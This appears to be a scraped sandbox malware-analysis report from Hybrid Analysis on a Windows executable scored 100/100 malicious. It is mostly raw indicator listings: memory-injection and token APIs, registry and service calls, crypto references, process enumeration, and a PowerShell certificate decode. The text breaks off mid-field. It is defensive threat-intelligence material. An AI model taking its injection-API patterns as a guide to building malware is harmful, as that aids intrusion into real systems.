24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] b2:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T508,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win/malicious_confidence_100% Sample 8aa7088ebe77… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 8aa7088ebe77…. Malware family: Win/malicious_confidence_100%. Threat score 100/100. 14/28 AV engines flagged this file. 15 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e","keywords":["Malicious","Win/malicious_confidence_100%","malware analysis","sandbox report","threat intelligence","8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e"],"about":{"@type":"SoftwareApplication","name":"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe","applicationCategory":["peexe","assembly","executable"],"identifier":"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Win/malicious_confidence_100%","antivirusDetections":{"malicious":14,"total":28},"behavioralIndicators":{"malicious":15,"suspicious":22},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:Te2d,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "WTSFreeMemory" (Indicator: "FreeMemory"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "VirtualFreeEx" (Indicator: "VirtualFree"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "LsaFreeMemory" (Indicator: "FreeMemory"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp, 00000000-00004600.00000001.72048.00001000.00000020.mdmp") Found reference to API "CVdsIscsiInitiatorAdapterInternal::LoginToTarget: CreateThread failed: %X" (Indicator: "CreateThread"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp") Found reference to API "CVdsIscsiInitiatorAdapterInternal::LogoutFromTarget: CreateThread failed: %X" (Indicator: "CreateThread"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp") Found reference to API "CVdsVolume::Extend, 5: CreateThread failed: %ld" (Indicator: "CreateThread"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp") Found reference to API "CRawDiskLun::Clean: CreateThread failed: %X" (Indicator: "CreateThread"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp") Found reference to API "VDS(0X0204000F): CreateThread failed: %X" (Indicator: "CreateThread"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp") Found reference to API "LsaFreeMemory" (Indicator: "FreeMemory"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found reference to API "NtMapViewOfSection" (Indicator: "NtMapViewOfSection"; Source: "00000000-00004204.00000000.71804.00001000.00000020.mdmp") Found reference to API "WTSFreeMemory" (Indicator: "FreeMemory"; Source: "00000000-00004204.00000000.71804.00001000.00000020.mdmp") Found reference to API "CreateThread failed with error %d" (Indicator: "CreateThread"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp")26:T1a28,Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "RegisterWaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "SleepEx" (Indicator: "SleepEx"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "MsgWaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjects"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "MsgWaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjectsEx"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "SetTimer" (Indicator: "SetTimer"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "CreateTimerQueueTimer" (Indicator: "CreateTimerQueueTimer"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "NtWaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "NtWaitForSingleObject" (Indicator: "NtWaitForSingleObject"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001292.00000002.75845.00001000.00000020.mdmp, 00000000-00001828.00000001.73975.00001000.00000020.mdmp, 00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp, 00000000-00004600.00000001.72048.00001000.00000020.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00001292.00000002.75845.00001000.00000020.mdmp, 00000000-00001828.00000001.73975.00001000.00000020.mdmp, 00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp, 00000000-00004600.00000001.72048.00001000.00000020.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001292.00000002.75845.00001000.00000020.mdmp, 00000000-00001828.00000001.73975.00001000.00000020.mdmp, 00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp, 00000000-00004600.00000001.72048.00001000.00000020.mdmp") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp, 00000000-00004600.00000001.72048.00001000.00000020.mdmp") Found reference to API "SetWaitableTimer" (Indicator: "SetWaitableTimer"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "FALSE && "Unexpected error from ::WaitForSingleObject()"" (Indicator: "WaitForSingleObject"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "SleepEx" (Indicator: "SleepEx"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found reference to API "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "NtWaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "NtWaitForSingleObject" (Indicator: "NtWaitForSingleObject"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp")27:T5ce,Found reference to API "SetupDiGetClassDevsW" (Indicator: "SetupDiGetClassDevs"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "SetupDiEnumDeviceInfo" (Indicator: "SetupDiEnumDeviceInfo"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "SetupDiGetDeviceRegistryPropertyW" (Indicator: "SetupDiGetDeviceRegistryProperty"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "SetupDiGetClassDevs failed with hr=%lX" (Indicator: "SetupDiGetClassDevs"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "SetupDiGetClassDevs(&, NULL, NULL, DIGCF_DEVICEINTERFACE | DIGCF_PRESENT)" (Indicator: "SetupDiGetClassDevs"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "SetupDiGetDeviceRegistryProperty(devInfo, NULL, &, [%d], &)" (Indicator: "SetupDiGetDeviceRegistryProperty"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "SetupDiGetClassDevs(DiskClassGuid, NULL, NULL, DIGCF_DEVICEINTERFACE | DIGCF_PRESENT)" (Indicator: "SetupDiGetClassDevs"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp")28:T879,Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "SetThreadToken" (Indicator: "SetThreadToken"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "OpenThreadToken" (Indicator: "OpenThreadToken"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "OpenThreadToken" (Indicator: "OpenThreadToken"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "SetThreadToken" (Indicator: "SetThreadToken"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp") Found reference to API "NtOpenThreadToken" (Indicator: "OpenThreadToken"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "NtOpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "OpenProcessToken failed with %d" (Indicator: "OpenProcessToken"; Source: "00000000-00004204.00000000.71804.00001000.00000020.mdmp")29:T830,Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "FreeLibraryAndExitThread" (Indicator: "FreeLibrary"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp")2a:T729,Found reference to API "RegSetValueExW" (Indicator: "RegSetValue"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "RegSetKeySecurity" (Indicator: "RegSetKeySecurity"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "RegSetKeyValueW" (Indicator: "RegSetKeyValue"; File: "00000000-00004520.00000001.74685.00051000.00000002.mdmp") Found reference to API "RegSetValueEx() failed[%s], ec=%d" (Indicator: "RegSetValue"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp") Found reference to API "RegSetValueExW" (Indicator: "RegSetValue"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "RegSetValueExW(HKLM\%s\%s\%s,%s,0,REG_SZ,%s.%d)" (Indicator: "RegSetValue"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "RegSetValueExW(HKLM\%s\%s\%s,%s,0,REG_DWORD,%d,%d)" (Indicator: "RegSetValue"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "RegSetValueExW(HKLM\%s\%s\%s\%s,%s,0,REG_SZ,%s.%d)" (Indicator: "RegSetValue"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "RegSetValueExW(0x%08lx,%s,0,REG_BINARY,%p.%lu)" (Indicator: "RegSetValue"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp")2b:T4dc,Found reference to API "ChangeServiceConfigW" (Indicator: "ChangeServiceConfig"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "ControlService" (Indicator: "ControlService"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "ChangeServiceConfig2W" (Indicator: "ChangeServiceConfig"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "ControlService" (Indicator: "ControlService"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp") Found reference to API "ChangeServiceConfig2W" (Indicator: "ChangeServiceConfig"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp") Found reference to API "ControlService failed." (Indicator: "ControlService"; Source: "00000000-00004204.00000000.71804.00001000.00000020.mdmp")2c:T78c,Found reference to "SHA384" (Indicator: "SHA384"; Source: "00000000-00003968-00000CC2-77428144") Found reference to "System.Security.Cryptography.TripleDESCryptoServiceProvider" (Indicator: "DESCryptoServiceProvider"; File: "00004636.0000121C.35634271.00400000.wprm") Found reference to "System.Security.Cryptography.TripleDESCryptoServiceProvider" (Indicator: "TripleDES"; File: "00004636.0000121C.35634271.00400000.wprm") Found reference to "System.Security.Cryptography.TripleDESCryptoServiceProvider" (Indicator: "TripleDESCryptoServiceProvider"; File: "00004636.0000121C.35634271.00400000.wprm") Found reference to "System.Security.Cryptography.HMACSHA1" (Indicator: "HMAC"; File: "00004636.0000121C.35634271.00400000.wprm") Found reference to "System.Security.Cryptography.HMACSHA1" (Indicator: "HMACSHA1"; File: "00004636.0000121C.35634271.00400000.wprm") Found reference to "System.Security.Cryptography.RijndaelManaged" (Indicator: "Rijndael"; File: "00004636.0000121C.35634271.00400000.wprm") Found reference to "System.Security.Cryptography.RijndaelManaged" (Indicator: "RijndaelManaged"; File: "00004636.0000121C.35634271.00400000.wprm") Found reference to "SHA512" (Indicator: "SHA512"; File: "00004636.0000121C.35634271.00400000.wprm") Found reference to "aphy.TripleDESCryptoServiceProvider" (Indicator: "DESCryptoServiceProvider"; File: "00004636.0000121C.35638715.00401000.wprm") Found reference to "aphy.TripleDESCryptoServiceProvider" (Indicator: "TripleDES"; File: "00004636.0000121C.35638715.00401000.wprm") Found reference to "aphy.TripleDESCryptoServiceProvider" (Indicator: "TripleDESCryptoServiceProvider"; File: "00004636.0000121C.35638715.00401000.wprm") Found reference to "CryptCNGInitHMAC" (Indicator: "HMAC"; Source: "00000000-00002972.00000000.72622.00290000.00000004.mdmp, 00000000-00002972.00000001.74545.00290000.00000004.mdmp, 00000000-00002972.00000002.76470.00290000.00000004.mdmp")2d:T8e6,"RegSvcs.exe" queried SystemProcessInformation at 00000000-00004636-00000033-615916 [PID: 4636] "RegSvcs.exe" queried SystemProcessInformation at 00000000-00004636-00000033-1649700 [PID: 4636] "RegSvcs.exe" queried SystemProcessInformation at 00000000-00004636-00000033-2027746 [PID: 4636] "RegSvcs.exe" queried SystemProcessInformation at 00000000-00004636-00000033-4005644 [PID: 4636] "RegSvcs.exe" queried SystemProcessInformation at 00000000-00004636-00000033-7682612 [PID: 4636] "RegSvcs.exe" queried SystemProcessInformation at 00000000-00004636-00000033-11078283 [PID: 4636] "SearchIndexer.exe" queried SystemProcessInformation at 00000000-00004520-00000033-361578 [PID: 4520] "SearchIndexer.exe" queried SystemProcessInformation at 00000000-00004520-00000033-362244 [PID: 4520] "SearchIndexer.exe" queried SystemProcessInformation at 00000000-00004520-00000033-2607182 [PID: 4520] "SearchIndexer.exe" queried SystemProcessInformation at 00000000-00004520-00000033-2607901 [PID: 4520] "SearchIndexer.exe" queried SystemProcessInformation at 00000000-00004520-00000033-4681327 [PID: 4520] "SearchIndexer.exe" queried SystemProcessInformation at 00000000-00004520-00000033-4681989 [PID: 4520] "SearchIndexer.exe" queried SystemProcessInformation at 00000000-00004520-00000033-17509400 [PID: 4520] "SearchIndexer.exe" queried SystemProcessInformation at 00000000-00004520-00000033-17510229 [PID: 4520] "SearchIndexer.exe" queried SystemProcessInformation at 00000000-00004520-00000033-18788177 [PID: 4520] "SearchIndexer.exe" queried SystemProcessInformation at 00000000-00004520-00000033-18789088 [PID: 4520] "SearchProtocolHost.exe" queried SystemProcessInformation at 00000000-00000412-00000033-583244 [PID: 412] "SearchProtocolHost.exe" queried SystemProcessInformation at 00000000-00000412-00000033-584003 [PID: 412] "SearchProtocolHost.exe" queried SystemProcessInformation at 00000000-00000412-00000033-21343123 [PID: 412] "SearchProtocolHost.exe" queried SystemProcessInformation at 00000000-00000412-00000033-21343977 [PID: 412] "SearchProtocolHost.exe" queried SystemProcessInformation at 00000000-00000412-00000033-30045431 [PID: 412] "SearchProtocolHost.exe" queried SystemProcessInformation at 00000000-00000412-00000033-30046223 [PID: 412]2e:T468,Found reference to API "BCryptOpenAlgorithmProvider" (Indicator: "BCryptOpenAlgorithmProvider"; Source: "00000000-00003968-00000C2B-68784478") Found reference to API "BCryptCloseAlgorithmProvider" (Indicator: "BCryptCloseAlgorithmProvider"; Source: "00000000-00003968-00000C2B-69123788") Found reference to API "BCryptImportKeyPair" (Indicator: "BCryptImportKey"; Source: "00000000-00003968-00000C2B-77436572") Found reference to API "BCryptDestroyKey" (Indicator: "BCryptDestroyKey"; Source: "00000000-00003968-00000C2B-77440055") Found reference to API "BCryptDecrypt" (Indicator: "BCryptDecrypt"; File: "00004636.0000121C.35638715.00401000.wprm") Found reference to API "BCryptGenerateSymmetricKey" (Indicator: "BCryptGenerateSymmetricKey"; File: "00004636.0000121C.35638715.00401000.wprm") Found reference to API "BCryptOpenAlgorithmProvider" (Indicator: "BCryptOpenAlgorithmProvider"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found reference to API "BCryptCloseAlgorithmProvider" (Indicator: "BCryptCloseAlgorithmProvider"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp")2f:T12ec,"powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIbVQYJKoZIhvcNAQcCoIIbRjCCG0ICAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNRAgEAAgEAAgEAAgEAAgEAMCEwCQYFKw4DAhoFAAQU+zz3vaNz0s6W8CREgPojmh03NLSgghYqMIIEEjCCAvqgAwIBAgIPAMEAizw8iBHRPvZj7N9AMA0GCSqGSIb3DQ" "cchString": "9628" "dwFlags": "1" "pbBinary": "30821b5506092a864886f70d010702a0821b4630821b42020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414fb3cf7bda373d2ce96f0244480fa239a1d3734b4a082162a30820412308202faa003020102020f00c1008b3c3c8811d13ef663ecdf40300d06092a864886f70d01010405003070312b3029060355040b1322436f70797269676874202863292031393937204d6963726f736f667420436f72702e311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f667420526f6f7420417574686f72697479301e170d3937303131303037303030305a170d3230313233313037303030305a3070312b3029060355040b1322436f70797269676874202863292031393937204d6963726f736f667420436f72702e311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f667420526f6f7420417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a0282010100a902bdc170e63bf24e1b289f97785e30eaa2a98d255ff8fe954ca3b7fe9da2203e7c51a29ba28f60326bd1426479eeac76c954daf2eb9c861c8f9f8466b3c56b7a6223d61d3cde0f0192e896c4bf2d669a9a682699d03a2cbf0cb55826c146e70a3e38962ca92839a8ec498342e3840fbb9a6c5561ac827ca1602d774ce999b4643b9a501c310824149fa9e7912b18e63d986314605805659f1d375287f7a7ef9402c61bd3bf5545b38980bf3aec54944eaefda77a6d744eaf18cc96092821005790606937bb4b12073c56ff5bfba4660a08a6d2815657efb63b5e16817704daf6beae8095feb0cd7fd6a71a725c3ccabcf008a32230b30685c9b320771385df0203010001a381a83081a53081a20603551d0104819a30819780105bd070ef69729e23517e14b24d8effcba1723070312b3029060355040b1322436f70797269676874202863292031393937204d6963726f736f667420436f72702e311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f667420526f6f7420417574686f72697479820f00c1008b3c3c8811d13ef663ecdf40300d06092a864886f70d0101040500038201010095e80bc08df3971835edb80124d87711f35c60329f9e0bcb3e0591888fc93ae621f2f057932cb5a047c862effcd7cc3b3b5aa9365469fe246d3fc9ccaade057cdd318d3d9f10706abbfe124f1869c0fcd043e311" "pcbBinary": "591b0000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIbVQYJKoZIhvcNAQcCoIIbRjCCG0ICAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNR" "cchString": "9628" "dwFlags": "1" "pbBinary": 